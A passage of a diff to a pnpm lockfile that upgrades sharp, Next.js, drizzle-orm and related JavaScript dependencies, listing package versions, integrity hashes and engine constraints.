'@img/sharp-libvips-linuxmusl-x64@1.2.4': - resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==} + '@img/sharp-libvips-linuxmusl-x64@1.3.3': + resolution: {integrity: sha512-fj8Mv0HHfD1Rr+4I68+3agJynxDWtBFgicTbSOb9Bke6pIwzGcJ+RX/yHjmiEGFMCavY/dxvem7MyNaJF+wDiw==} cpu: [x64] os: [linux] - '@img/sharp-linux-arm64@0.34.5': - resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linux-arm64@0.35.4': + resolution: {integrity: sha512-De4jpEnAU8Hd5oT0j1G3uL4ZvTuipVMn7YC6vPaJhy6/7EwEae0SVAoBrUMYQbkLGDm85taVWwuPc1a44LTzCQ==} + engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] - '@img/sharp-linux-arm@0.34.5': - resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linux-arm@0.35.4': + resolution: {integrity: sha512-7OAS8gI0EReKGVN2HssHlM6umJgxF5VI3xN0p9FA91p/YO+ou5hiNghLdZ5BEHztwaaK5+bLKRf8x/o2L2nk9A==} + engines: {node: '>=20.9.0'} cpu: [arm] os: [linux] - '@img/sharp-linux-ppc64@0.34.5': - resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linux-ppc64@0.35.4': + resolution: {integrity: sha512-2oYZJeIl4kCcMGk4ouZVjnkCtFrpQFlNEtJ6GbxzhHQchwH0NH/qEb9ykmOl29dqwMq+JhFdZn+1ak2FKhI9fQ==} + engines: {node: '>=20.9.0'} cpu: [ppc64] os: [linux] - '@img/sharp-linux-riscv64@0.34.5': - resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linux-riscv64@0.35.4': + resolution: {integrity: sha512-cPbNChoRURAWdebDIHSenxRpgEdy7JkPydSnUxRm9VvKD7m0/xVaR/8Fzlu81pk5nHEvHH87UZUA7cTtwnbJSA==} + engines: {node: '>=20.9.0'} cpu: [riscv64] os: [linux] - '@img/sharp-linux-s390x@0.34.5': - resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linux-s390x@0.35.4': + resolution: {integrity: sha512-RY0JFY8Fd6RonCBtHz+DvadaPkXDSI1AUn6yWL9TipqkZ1vY8w8evqdgyDFnkm4/K1ve1TvZiaePP5oSd4+WVQ==} + engines: {node: '>=20.9.0'} cpu: [s390x] os: [linux] - '@img/sharp-linux-x64@0.34.5': - resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linux-x64@0.35.4': + resolution: {integrity: sha512-9qvvEAuk8k89TfWUoX2htWjbAMX8p+NxCppjpcg5k6xMsjhBQPTsoIh36h9Qde4WRuGpJeYnOjdosDn/cnv+OA==} + engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] - '@img/sharp-linuxmusl-arm64@0.34.5': - resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linuxmusl-arm64@0.35.4': + resolution: {integrity: sha512-KB5jxpfWQTr0nc3xdHtWChdbifHrBGsd2SM62Eyxrl8afikm+f5qGBU75SJIZBT/S1MC8XyacdlXBMSWq6OURA==} + engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] - '@img/sharp-linuxmusl-x64@0.34.5': - resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-linuxmusl-x64@0.35.4': + resolution: {integrity: sha512-f+eZJZIQNEEd26RPSW+76chwOf1XtA2Y/O+5ocVyLliHkeih3e+jhLVBdNTd2rS3IbNXK8+ug93Vf5ZXtF5Lxg==} + engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] - '@img/sharp-wasm32@0.34.5': - resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-wasm32@0.35.4': + resolution: {integrity: sha512-zQnl4Kwp7Q6NHsENtU2T/00Zi+w3AQNwz3+UaTyVBy2FpXrzXzGjndpK61onhZjRtRpQXxCTeqw19bVyXOh7jA==} + engines: {node: '>=20.9.0'} + + '@img/sharp-webcontainers-wasm32@0.35.4': + resolution: {integrity: sha512-ESfNkywmCfPNyaZjxooddJQiQ+l/nTpGEOGthxiLnIHXC/CmcBixnfwUleX9mCz9ovrUUvKMap/pm8RYbzfwaA==} + engines: {node: '>=20.9.0'} cpu: [wasm32] - '@img/sharp-win32-arm64@0.34.5': - resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-win32-arm64@0.35.4': + resolution: {integrity: sha512-iNdlBX9gLVvqe2I3uIJSIKTq6wckP/DYxZtcqxm09x5Gi24DnFBmPAWZmr60ZyYMG0xlzo6goG3670ar+RXvRw==} + engines: {node: '>=20.9.0'} cpu: [arm64] os: [win32] - '@img/sharp-win32-ia32@0.34.5': - resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-win32-ia32@0.35.4': + resolution: {integrity: sha512-kqRsbaa5CS6KHlpxnN7WhE6vAAugXyZButpRdvDWetlv6Qv4N9WTcrWzF7tXfB9T7MsoadqdI8hmwLq6UlLvtw==} + engines: {node: ^20.9.0} cpu: [ia32] os: [win32] - '@img/sharp-win32-x64@0.34.5': - resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-win32-x64@0.35.4': + resolution: {integrity: sha512-XtmnYhBcrORsJ4XJngyzr/EWP0hRZLAZRFaApdKuviyqF78+ylxh2y06ZmtULAMOnObJ3ucpN0AcwSWnMowTRg==} + engines: {node: '>=20.9.0'} cpu: [x64] os: [win32] @@ -593,56 +608,56 @@ packages: '@nestjs/core': ^7.0.0 || ^8.0.0 || ^9.0.0 || ^10.0.0 || ^11.0.0 reflect-metadata: ^0.1.13 || ^0.2.0 - '@next/env@16.2.10': - resolution: {integrity: sha512-zLPxg9M0MEHmygpj5OuxjQ+vHMiy/K7cSp74G8ecYolmgUWw0RwN02tF56npup/+qaI8JB97hQgS/r2Hb6QwVA==} + '@next/env@16.3.4': + resolution: {integrity: sha512-cjWZnUUa6jZq2kFaNe/ZyJdZonOZ/QoN0Zka2nz/FLOrfx14pQuM9c5RaSVkWMqgdt4ksgPAMWPyHSs/CyV48Q==} '@next/eslint-plugin-next@16.2.10': resolution: {integrity: sha512-Gs8D2m21VnJeFo9qvYIIqJH94frWerWYu41BprU1pLtRVF7PCQNLiFZZ3fG+iPuj3K83Cwv/rt+msLOy8Qgu3Q==} - '@next/swc-darwin-arm64@16.2.10': - resolution: {integrity: sha512-v9IdJCa0H0mbo+8z5zwUpOk1Vj7RjkcI5uNYf5Ws1y6szf/p3Mzl9hLaST8SCt6L9h8NGnruZcd2+o0NTNwDhA==} + '@next/swc-darwin-arm64@16.3.4': + resolution: {integrity: sha512-iBr3I5LZNk5/bgl5//iTgD2tcym14MX0Xo7fD//u9dYAEgGzza1y9oywluPtf74YnOswVdH1908aK9xVz7zQTw==} engines: {node: '>= 10'} cpu: [arm64] os: [darwin] - '@next/swc-darwin-x64@16.2.10': - resolution: {integrity: sha512-17IS0jJRViROGmA9uGdNR8VPJpfbnaVG7E9qhso5jDLkmyd0lSDORWxbcKINzcFqzZqGwGtMSnrFRxBpuUYjLQ==} + '@next/swc-darwin-x64@16.3.4': + resolution: {integrity: sha512-2dpiSyl2Jw/NrBPaU2MAKGSa+2MR82pJIn4Sm5Rjr+gxAeuh0z158Su3Z2O8zn7UNNq+ej4bToed6RcRN/Lydg==} engines: {node: '>= 10'} cpu: [x64] os: [darwin] - '@next/swc-linux-arm64-gnu@16.2.10': - resolution: {integrity: sha512-GRQRsRtuciNJvB54AvvuQTiq0oZtFwa1owQqtZD8wwnGpM2L39MV22kpI72YSXLKIyY40LC66EiLFv4PiicXxg==} + '@next/swc-linux-arm64-gnu@16.3.4': + resolution: {integrity: sha512-+t+U8HZT+fApePCS5h89CSH3datz29MkzyfCn+6fpsZBG/oiEOhINcb9rtkv6sdpToLGFn2e6146NzaKCXkqrA==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] - '@next/swc-linux-arm64-musl@16.2.10': - resolution: {integrity: sha512-zkN9MQYS7UQBro+FnISUq1itaQjXI9xqISzuQ+2bc921NcJ1x4yPCqrn77tVN6/dOOXaaWVX3k6/bR07pPwK+A==} + '@next/swc-linux-arm64-musl@16.3.4': + resolution: {integrity: sha512-mx03GNs1ocQA5JQ4FxDMmIsNkdrZh8cuezKCrId28e5/gIPU/l7Kcy2+vmCCzdjnnmXJy+iOAu+7K0QppO6Urg==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] - '@next/swc-linux-x64-gnu@16.2.10': - resolution: {integrity: sha512-iCVJnwvrPYECvA6WM/7+oo+OiTvedIKLxtCLAZP4xZR3nXa1zmzZyLPbYCmWvpd4CvMYF1EMTafd0ii3DygLvA==} + '@next/swc-linux-x64-gnu@16.3.4': + resolution: {integrity: sha512-YIhGY6fSMfha52bnVxnzc9zaVBzJg+cqQTOD8tXIBSx4fuv0pVMxQTE0PaS59YhnMOiYiG09IMwxJAf/CFm/Dw==} engines: {node: '>= 10'} cpu: [x64] os: [linux] - '@next/swc-linux-x64-musl@16.2.10': - resolution: {integrity: sha512-ov2g4H0dHY9bPoOU83m91hWT7Iq5qy13bUnyyshLU3HGR1Ownn0X9QpmDPc5iIUaahTp7f7LeGAhV4DSFtackw==} + '@next/swc-linux-x64-musl@16.3.4': + resolution: {integrity: sha512-+eaaX6axpDb0yF1GCpiERe6njplvdC+nks/fKfcHu3XPGRrald8P3/X7yv7QLdjA51knnxwl9pxdIJsg+w1L+Q==} engines: {node: '>= 10'} cpu: [x64] os: [linux] - '@next/swc-win32-arm64-msvc@16.2.10': - resolution: {integrity: sha512-DwAnhLX76HQiFFQNgWlcK+JzlnD1rZ+UK/WY0ZMI/deXpvgnesjNYrqcfo1JzBuz4Kf7o3brIBL0glI1junatA==} + '@next/swc-win32-arm64-msvc@16.3.4': + resolution: {integrity: sha512-0jcXW7Xs/uzICrmgV3MhDYDeRy++1CqnpDIerlPIqYO4bhzB4WNbX/aRnQclustsAyTkFKB0z6rbcjmNg5tR8A==} engines: {node: '>= 10'} cpu: [arm64] os: [win32] - '@next/swc-win32-x64-msvc@16.2.10': - resolution: {integrity: sha512-0JXq3b85Jk9Jg4ntLUbXSPvoDw3gpZou7twuKdoFG2jOw635v7+IiXfTaa0TxVMyx78pUjnrVYwLgjKfX4e6/A==} + '@next/swc-win32-x64-msvc@16.3.4': + resolution: {integrity: sha512-vvBzwu1pYQCp92maZCFCIw/XgOTMR5tur9GjakwIo2cmwRTMKajRZZDS9+e4KsUZWKu1E007WUeAFXRRjZeuzw==} engines: {node: '>= 10'} cpu: [x64] os: [win32] @@ -823,6 +838,9 @@ packages: '@swc/helpers@0.5.15': resolution: {integrity: sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==} + '@swc/helpers@0.5.23': + resolution: {integrity: sha512-5lSsMOTXURePglDfvuAQUqkGek9Hg2kksOYay2m0+XR++b2NWYL/4sWyuvVBIs8oKnJaxkdi9whaL/sqN13afw==} + '@tailwindcss/node@4.3.3': resolution: {integrity: sha512-/T8IKEsf9VTU6tLjgC7+sv2mOPtQxzE2jMw7u4Tt40Tx+QSZxpzh95/H6cMKoja9XuW7iMdLJYBB0o9G1CaAgg==} @@ -958,6 +976,10 @@ packages: resolution: {integrity: sha512-MADQgmZT1eKjp06jpI2yozxaU9uVs4GzzgSL+uEq7bVcJ9V1ZXQkeGNql1fsSI0gMy1vhvNTNbUqrx+pZfJVmg==} engines: {node: '>=18'} + '@tokenizer/inflate@0.4.1': + resolution: {integrity: sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==} + engines: {node: '>=18'} + '@tokenizer/token@0.3.0': resolution: {integrity: sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==} @@ -1412,6 +1434,11 @@ packages: engines: {node: '>=6.0.0'} hasBin: true + baseline-browser-mapping@2.11.21: + resolution: {integrity: sha512-uh8vpY/1/YyFkunIDFH/12p7/7VdPKA1hejMVEbdkEaWnUz0Hesvx5EbiU6XxjyHZIOju+ZMbQJkRh+es3/spQ==} + engines: {node: '>=6.0.0'} + hasBin: true + bcrypt-pbkdf@1.0.2: resolution: {integrity: sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==} @@ -1439,8 +1466,8 @@ packages: brotli@1.3.3: resolution: {integrity: sha512-oTKjJdShmDuGW94SyyaoQvAjf30dZaHnjJ8uAF+u2/vGJkJbJPJAT1gDiOJP5v1Zb6f9KEyW/1HpuaWIXtGHPg==} - browserslist@4.28.6: - resolution: {integrity: sha512-FQBYNK15VMslhLHpA7+n+n1GOlF1kId2xcCg7/j95f24AOF6VDYMNH4mFxF7KuaTdv627faazpOAjFzMrfJOUw==} + browserslist@4.28.9: + resolution: {integrity: sha512-EWazOblFYUvlGZcfGhPUPmYh3nikUxBVb+y9MJun5f3hBi812X+8MSQTujLBtgK3cf51fJWbWfOjyeO954d+Eg==} engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true @@ -1453,9 +1480,6 @@ packages: buffer@5.7.1: resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} - buffer@6.0.3: - resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==} - buildcheck@0.0.7: resolution: {integrity: sha512-lHblz4ahamxpTmnsk+MNTRWsjYKv965MwOrSJyeD588rR3Jcu7swE+0wN5F+PbL5cjgu/9ObkhfzEPuofEMwLA==} engines: {node: '>=10.0.0'} @@ -1505,6 +1529,9 @@ packages: caniuse-lite@1.0.30001806: resolution: {integrity: sha512-72Cuvd95zbSYPKq6Fhg8eDJRlzgWDf7/mtoZv6Qe/DYNCEBdNxoA3+rZAU2ZhGCpZlns3EssFavaZomckT5Uuw==} + caniuse-lite@1.0.30001810: + resolution: {integrity: sha512-TITQPUkaz+aVk5GL6NhOdwk1aEaNTSDPsGFWrTuhKGtjTF70jL/Oht2W4c6rXUe5fu7Ie19VIahAXHIIiWWNeg==} + chai@6.2.2: resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} engines: {node: '>=18'} @@ -1772,36 +1799,36 @@ packages: resolution: {integrity: sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==} engines: {node: '>=12'} - drizzle-orm@0.36.4: - resolution: {integrity: sha512-1OZY3PXD7BR00Gl61UUOFihslDldfH4NFRH2MbP54Yxi0G/PKn4HfO65JYZ7c16DeP3SpM3Aw+VXVG9j6CRSXA==} + drizzle-orm@0.45.2: + resolution: {integrity: sha512-kY0BSaTNYWnoDMVoyY8uxmyHjpJW1geOmBMdSSicKo9CIIWkSxMIj2rkeSR51b8KAPB7m+qysjuHme5nKP+E5Q==} peerDependencies: '@aws-sdk/client-rds-data': '>=3' - '@cloudflare/workers-types': '>=3' + '@cloudflare/workers-types': '>=4' '@electric-sql/pglite': '>=0.2.0' '@libsql/client': '>=0.10.0' '@libsql/client-wasm': '>=0.10.0' '@neondatabase/serverless': '>=0.10.0' '@op-engineering/op-sqlite': '>=2' '@opentelemetry/api': ^1.4.1 - '@planetscale/database': '>=1' + '@planetscale/database': '>=1.13' '@prisma/client': '*' '@tidbcloud/serverless': '*' '@types/better-sqlite3': '*' '@types/pg': '*' - '@types/react': '>=18' '@types/sql.js': '*' + '@upstash/redis': '>=1.34.7' '@vercel/postgres': '>=0.8.0' '@xata.io/client': '*' better-sqlite3: '>=7' bun-types: '*' expo-sqlite: '>=14.0.0' + gel: '>=2' knex: '*' kysely: '*' mysql2: '>=2' pg: '>=8' postgres: '>=3' prisma: '*' - react: '>=18' sql.js: '>=1' sqlite3: '>=5' peerDependenciesMeta: @@ -1831,10 +1858,10 @@ packages: optional: true '@types/pg': optional: true - '@types/react': - optional: true '@types/sql.js': optional: true + '@upstash/redis': + optional: true '@vercel/postgres': optional: true '@xata.io/client': @@ -1845,6 +1872,8 @@ packages: optional: true expo-sqlite: optional: true + gel: + optional: true knex: optional: true kysely: @@ -1857,8 +1886,6 @@ packages: optional: true prisma: optional: true - react: - optional: true sql.js: optional: true sqlite3: @@ -1874,8 +1901,8 @@ packages: ee-first@1.1.1: resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} - electron-to-chromium@1.5.393: - resolution: {integrity: sha512-kiDJdIUawuEIcp9XoICKp1iTYDEbgguIPq526N1Q7jIQDeQ3CqoMx71025PI/7E48Ddtw2HuWsVjY7afEgNxmg==} + electron-to-chromium@1.5.422: + resolution: {integrity: sha512-UvA/32XqrLDdZSn7Jllo1AYNcWji/G0d5M0GTViE7KoGBiMunw3a34Sb2KO4ZZyrSEhqsxFoVhWWJshdyfKqJA==} emoji-regex@8.0.0: resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} @@ -2079,10 +2106,6 @@ packages: resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==} engines: {node: '>=6'} - events@3.3.0: - resolution: {integrity: sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==} - engines: {node: '>=0.8.x'} - expect-type@1.4.0: resolution: {integrity: sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==} engines: {node: '>=12.0.0'} @@ -2133,14 +2156,14 @@ packages: resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} engines: {node: '>=16.0.0'} - file-type@16.5.4: - resolution: {integrity: sha512-/yFHK0aGjFEgDJjEKP0pWCplsPFPhwyfwevf/pVxiN0tmE4L9LmwWxWukdJSHdoCli4VgQLehjJtwQBnqmsKcw==} - engines: {node: '>=10'} - file-type@20.4.1: resolution: {integrity: sha512-hw9gNZXUfZ02Jo0uafWLaFVPter5/k2rfcrjFJJHX/77xtSDOfJuEFb6oKlFV86FLP1SuyHMW1PSk0U9M5tKkQ==} engines: {node: '>=18'} + file-type@21.3.4: + resolution: {integrity: sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==} + engines: {node: '>=20'} + fill-range@7.1.1: resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} engines: {node: '>=8'} @@ -2891,11 +2914,6 @@ packages: nan@2.28.0: resolution: {integrity: sha512-fTsDz99OTq2sVePhGdp4qQhggZFtKr64ZNVyVajRKtMOkJxYekplBh577PiJB12v/D3s2E5cGtOI45LWp6rnLQ==} - nanoid@3.3.16: - resolution: {integrity: sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==} - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true - nanoid@3.3.18: resolution: {integrity: sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w==} engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} @@ -2913,8 +2931,8 @@ packages: resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} engines: {node: '>= 0.6'} - next@16.2.10: - resolution: {integrity: sha512-2som5AVXb3kE6Yjine3/mNbBayYF58eguBWIVVUdr1y/L426xyVEgYxgBG+1QC34P2x5E+tcDup6XkuOAX3dCA==} + next@16.3.4: + resolution: {integrity: sha512-/Ztf6CeRH+ejEXUrYtqI4gkS66eFIHuSwqi60RgcpWKodxFZx2/dqVCMKBwILfAHXQ+F1b1vAudgj3mnxqtoIA==} engines: {node: '>=20.9.0'} hasBin: true peerDependencies: @@ -2967,8 +2985,8 @@ packages: resolution: {integrity: sha512-LA4ZjwlnUblHVgq0oBF3Jl/6h/Nvs5fzBLwdEF4nuxnFdsfajde4WfxtJr3CaiH+F6ewcIB/q4jQ4UzPyid+CQ==} hasBin: true - node-releases@2.0.51: - resolution: {integrity: sha512-wRNIrw4DmVLKQlbgOMdkMx27Wrpzes2hh5Jtbi2bjPd+4wJstWIqP5A+lscnqbm0xxmT5Bpg8Lec5ItEBwx6BQ==} + node-releases@2.0.54: + resolution: {integrity: sha512-YHs7BmmcsdAI5Ozuf8JZo6PT0mv2GIWC9vMfvUC3dp65M8hn7Ux8CPL+2oBI7juNuj9d0ndhTcznq2ODBps9cQ==} engines: {node: '>=18'} object-assign@4.1.1: @@ -3087,10 +3105,6 @@ packages: pdfkit@0.20.2: resolution: {integrity: sha512-Q/w03ICAQyXfHNfTsg1udp0ADerdBN0s7a6XSPL7J7Ro6ABnafoBOCDBstIO9U02mvzHEV8HrvFIw5iV5ejIRA==} - peek-readable@4.1.0: - resolution: {integrity: sha512-ZI3LnwUv5nOGbQzD9c2iDG6toheuXSZP5esSHBjopsXH4dg19soufvpUGA3uohi5anFtGb2lhAVdHzH6R/Evvg==} - engines: {node: '>=8'} - pg-cloudflare@1.4.0: resolution: {integrity: sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==} @@ -3163,10 +3177,6 @@ packages: resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} engines: {node: '>= 0.4'} - postcss@8.4.31: - resolution: {integrity: sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ==} - engines: {node: ^10 || ^12 || >=14} - postcss@8.5.19: resolution: {integrity: sha512-Mz8SaolMd8nB+G13WkORcxQKHZ/NE4xXevtkJHVuG+guo9/wYKlIMTKAqGdEmYOXR2ijPjTYNHssizdaVSUNdQ==} engines: {node: ^10 || ^12 || >=14} @@ -3202,10 +3212,6 @@ packages: process-warning@5.1.0: resolution: {integrity: sha512-jQSaVHsPgtyw60e1rQ/A+/ArPEj/S8pS/vFnyGa/gYFXrKk/6RuDkoqVDQ5NI5MmS01698ltlAk0NoDBNLujRw==} - process@0.11.10: - resolution: {integrity: sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==} - engines: {node: '>= 0.6.0'} - prop-types@15.8.1: resolution: {integrity: sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==} @@ -3261,14 +3267,6 @@ packages: resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==} engines: {node: '>= 6'} - readable-stream@4.7.0: - resolution: {integrity: sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - readable-web-to-node-stream@3.0.4: - resolution: {integrity: sha512-9nX56alTf5bwXQ3ZDipHJhusu9NTQJ/CVPtb/XHAJCXihZeitfJvIRS4GqQ/mfIoOE3IelHMrpayVrosdHBuLw==} - engines: {node: '>=8'} - real-require@0.2.0: resolution: {integrity: sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==} engines: {node: '>= 12.13.0'} @@ -3391,9 +3389,14 @@ packages: setprototypeof@1.2.0: resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} - sharp@0.34.5: - resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + sharp@0.35.4: + resolution: {integrity: sha512-n++8XWcj+jCOr2IOl7h8LbKnGBDY4aPbmprMONBNFdn0ImXqpGVv5zliDs0V9HbmbCQLpbuo2ej9rAoOQTvMDA==} + engines: {node: '>=20.9.0'} + peerDependencies: + '@types/node': '*' + peerDependenciesMeta: + '@types/node': + optional: true shebang-command@2.0.0: resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} @@ -3517,10 +3520,6 @@ packages: resolution: {integrity: sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA==} engines: {node: '>=18'} - strtok3@6.3.0: - resolution: {integrity: sha512-fZtbhtvI9I48xDSywd/somNqgUHl2L2cstmXCCif0itOf96jeW18MBSyrLuNicYQVkvpOxkZtkzujiTJ9LW5Jw==} - engines: {node: '>=10'} - styled-jsx@5.1.6: resolution: {integrity: 